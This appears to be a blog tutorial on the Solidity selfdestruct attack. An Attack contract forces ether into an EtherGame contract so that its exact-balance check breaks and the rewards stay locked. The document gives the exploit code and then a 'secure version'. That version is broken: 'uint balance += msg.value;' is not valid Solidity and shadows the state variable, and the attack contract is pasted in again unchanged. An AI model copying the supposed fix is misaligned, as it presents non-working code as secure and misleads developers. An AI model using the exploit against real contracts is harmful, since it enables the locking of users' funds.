How to hack smart contracts: self-destruction and solidity

0

the selfdestruct(address) The function removes all bytecode from the contract address and sends all stored ether to the specified address. If this specified address is also a contract, no function (including the fallback function) is called.

In other words, an attacker can create a contract with a selfdestruct() function, send him ether, call selfdestruct(target) and force ether to be sent to a target.

Let’s see what this attack can look like. We create a simple smart contract. Note: I created this contract based on Solidity for example.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;



contract EtherGame {
    uint public targetAmount = 5 ether;
    address public winner;

    function play() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {

        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

This contract represents a simple game in which players send 1 ether to the contract hoping to be the one who reaches the threshold equal to 5 ether.

When 5 eth is reached, the game is over and the first player to reach the milestone can claim a reward.

In this case, an attacker can for example send to the contract 5 eth or any other value that pushes the balance of the contract above the threshold. This would lock all rewards into the contract forever.

This is because our if statement in the function play() checks if the winner’s balance is equal to 5 eth.

Preventive techniques

This vulnerability stems from the misuse of this.balance. Your contract should avoid being dependent on the exact values ​​of the contract balance as it can be artificially manipulated.

If exact values ​​of deposited ether are required, a self-defined variable must be used which is incremented in paid functions, to securely track deposited ether. This can prevent your contract from being influenced by forced ether sent through a selfdestruct() to call.

Let’s see what the secure version of the contract looks like.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;



contract EtherGame {
    uint public targetAmount = 5 ether;
    address public winner;
    uint public balance;

    function play() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {

        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

Here we no longer have any reference to this.balance. Instead, we created a new variable, balance which keeps track of the current amount of eth.

Source

Previously posted here.

Share.

About Author

Comments are closed.